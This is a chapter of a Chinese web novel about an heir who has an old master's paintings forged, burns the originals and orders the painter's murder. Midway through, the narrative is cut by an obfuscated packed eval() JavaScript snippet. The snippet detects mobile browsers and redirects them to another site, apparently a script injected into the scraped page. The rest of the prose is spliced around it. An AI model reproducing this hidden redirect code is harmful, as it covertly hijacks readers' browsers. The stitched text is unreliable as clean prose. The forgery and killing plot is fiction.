他每天把自己关在文博馆的地下室,一笔一笔临摹,一点一点琢磨,睡觉时梦里皆是画,上厕所时手也在空中比划,吃饭时也想着画中细节,如此呕心沥血三年,头全秃了,牙掉了十二颗,内痔外痔全出来了,形容枯槁,哪里还有人的样子! 我还慢了,你行你来啊!!! 有种你就在全中国找找,看看还有谁能比我快! 压抑住内心不平,杜嵩堆起笑脸,略带赔罪道: “画形容易,难的是画神,只要神到了,形相似,足以以假乱真。” “摹画虽三年,可这三年三幅画,高阳大师的气韵技法我已完全掌握,以后他老人家的任何画作,我都可以短时间仿制出来。” 高墨眼中闪过一丝惊喜,立马叫来了三位专家。 专家到时,三幅真迹与杜嵩的三幅仿画摆在了一起。六幅水墨画,同时摆在包厢,人在其中,仿佛置身于山间丘壑中。 “诸位都是我信得过的人,麻烦帮我品鉴一番。”高墨开口,大家心照不宣。 专家们拿起放大镜,左瞧右瞧,时不时摇头叹息,两三个钟头下来,竟无一人能辨别真画假画。 “妙啊,每一幅画都集高老爷子之大成,仿佛出自一人之手,王兄,吴兄,你们能看出真假吗?”三位专家围在一起讨论。 “看不出来啊,他妈的,这些画假得跟真的似的,这谁能分得清真假?” “我也是,我一会怀疑这六幅画都是真画,一会又怀疑这些画又全都是假画,眼睛都快看瞎了,也没分出来。” “气韵对,气势不相上下,笔触也没问题,形神俱佳,这墨少爷是从哪找出的高人,咱有机会定要把他挖过来,依我看,这高人可以仿董其昌和巨然了。” “好好好,我那正好有娟素,东西绝对是老的,吴兄不是还存了点宋墨,天时地利人和,我看成。” “高阳大师的画有巨然和尚的影子,雄秀壮丽却不失温润,想必那位高人假以时日,仿巨然也能仿出个七八成。” “有八成就够了,我们再运作运作,买个墓,放进去几件真东西,日后这画“挖”出来便是一省一馆的镇馆之宝。” 说到这,三位专家突然细思极恐。 “王兄,你们说,这是不是有点太巧了,几十年前,古墓,海外拍卖,佳士得私人藏品,古玩行,突然多了很多宋画,先后分别是李成,郭熙,马林,马远,董源,巨然,一点点冒出水面,然后没几年大陆就横空出世一个当代最有宋画遗风的高阳大师。” “李兄,看来你也怀疑过,是不是,别的不说,单凭李成,郭熙,这两位的画是能随随便便现世的吗?太魔幻了不是,可话又说回来,那些画,当年可是专门从日本借了一船的先进仪器运过来检测年份,没查出什么问题。” “或许水深到一定程度,机器也能给画推磨。国外总统大选的投票机都能作假,咱这行,以假乱真不是更容易吗!” 此时,对此话题讳莫如深的另一位专家急忙开口:“慎言啊,那些画早已盖棺定论了,切莫再翻起什么风浪来。” “是啊,到时候咱兄弟几个别落个身败名裂吃不了兜着走。” ………… 一个下午过去了,高墨等得不耐烦了,过来问三位专家画看得怎么样? “好,好,好。” “都好,一样好,不分彼此。” 与先前七嘴八舌喋喋不休的讨论不同,三位专家在高墨面前是谨言再谨言,慎行再慎行,生怕多说一个字,日后引火烧身。 高墨得到了想要的答案,心中大喜,让助理送三位专家去私人会所,点几个名模,好酒好菜伺候着,好好招待他们。 紧接着,他又把杜嵩叫过来,拿了一张卡递给他。 “这是奖励你的,好好干,这才刚刚开始,以后你画钱的机会多得是。” 杜嵩颤颤巍巍接过卡,赶紧揣兜里。 杜嵩还打算问银行卡密码,却见高墨将三幅真迹挑了出来,随便卷一卷便丢进壁炉里,他的心瞬间提到嗓子眼了。 “墨少爷,您拿错了,那三幅是真迹,不是赝品。”他急得喊了起来。 ”既然赝品能以假乱真,那真迹便不能留着了,留着便是破绽。” 高墨说完,便点燃烛台上的蜡烛,丢进壁炉里。 眼睁睁看着三幅传世之作一点点被烧,成灰成空,杜嵩的心简直在滴血,他跪在地上大哭: “墨少爷,使不得啊!这三幅可是高阳大师最登峰造极的山水之作,丝毫不输北宋先人啊!” 只有摹过它仿过它的人才知道要画成这样的画有多难,要付出多少心血! “少爷,您这样做,日后将何以面对后世之人啊!” 这么好的画,说烧就烧了,杜嵩哭得撕心裂肺,高墨听得不耐烦,踹了他一脚便离开包厢了。 眼见高墨走了,杜嵩赶紧扑到壁炉里,准备把三幅画抢救回来,一次,手被烫回来了,两次,脱下上衣将火扑灭,三次,下了狠心,用左手硬生生把余热未散的残卷拿了出来。 他轻轻地抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863747|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着残卷,眼泪滴在画上,口中不停念叨:“怎么成这样了?王八蛋,怎么下得去手?” 昨日看,还是千里江山,气势恢宏,楼阁桥梁、舟船行人,天人合一。 今日一炬,却是残山剩水支离破碎不成丹青。 杜嵩跪在画前不停地磕着头,磕出了血。 高墨走出文博馆,转念一想,老爷子现在还活着,一来画不好卖高价,二来仿制他的假画定会被他识破,索性一不做二不休,做了他。 他若是死了,那批画至少能翻三翻。老而不死,丢人现眼。 仿佛是说家常琐事的口吻,他吩咐下面的人,立刻送老爷子归西。 “是高阳高老爷子吗?”手下还是想再确认一遍。 “嗯,赶紧动手。顺道在西班牙给我妈买个小岛,过几个月她生日。” 说完,高墨便悠哉悠哉去吃饭了,打算早点回去休息。 另一边,他的一众心腹正火急火燎赶往会议室,彻夜不眠地商议此事。 会议室中,高墨的职业代理人反复论证事情的可行性,代价,回报及老板的决心,最终拍板,事虽险,倒也可以办。 紧接着,两名家族顾问分别给出了planA和planB,一名保镖给出了风险应对计划。 会上大家讨论了一番,投票通过了planA。 接下来便是各种人选的确定。 杀手人选和替罪羊人选交给了外包,奖金用高家的家族备用资金,不走公账。 打点人员和各个环节组织人员从参会人员各自带的团队里抽调。 行动小组总负责人由高墨的秘书担任。 此外,会议一致通过了必须设立情报小组的决议,由高墨的司机,管家,助理,保镖,打手们担任,他们拥有横向权力,可对所有知情人士进行密切监督,确保此事无外泄的可能。 一旦有人走漏风声,情报小组格杀勿论。并且,情报小组和行动小组互不干扰,双线并行,确保计划顺利完成。 商议到这一步时,天已经亮了,楼下的早餐店都已经开门了,大家困得不行。 “开了一宿的会,计划已经够天衣无缝了,没啥可说的了,散会吧。”管家打着哈欠举手提议。 “还有一件事没商量啊,墨少爷不是还要在西班牙买个小岛吗,这事还一点都没着落呢!”有一个年轻人翻着日程表提议。 “能用钱解决的事那算个什么事?岛哪天都可以买,这事不急。我年纪大了真熬不动了,散会。” —————— 几天后,德国街头,骆一梵眼睁睁看着一群“零元购”抢了自己的手机和钱包。 非常猖狂,简直可以算是以多欺少,从自己手里硬抢! 她赶紧跑过去追,发现几秒之间,“零元购”们早已消失得无影无踪,等她再回来时,高老爷子已经断气了,他倒在血泊中,身中数刀。 她不敢相信,大脑陷入了一片空白,发生了什么,怎么会这样?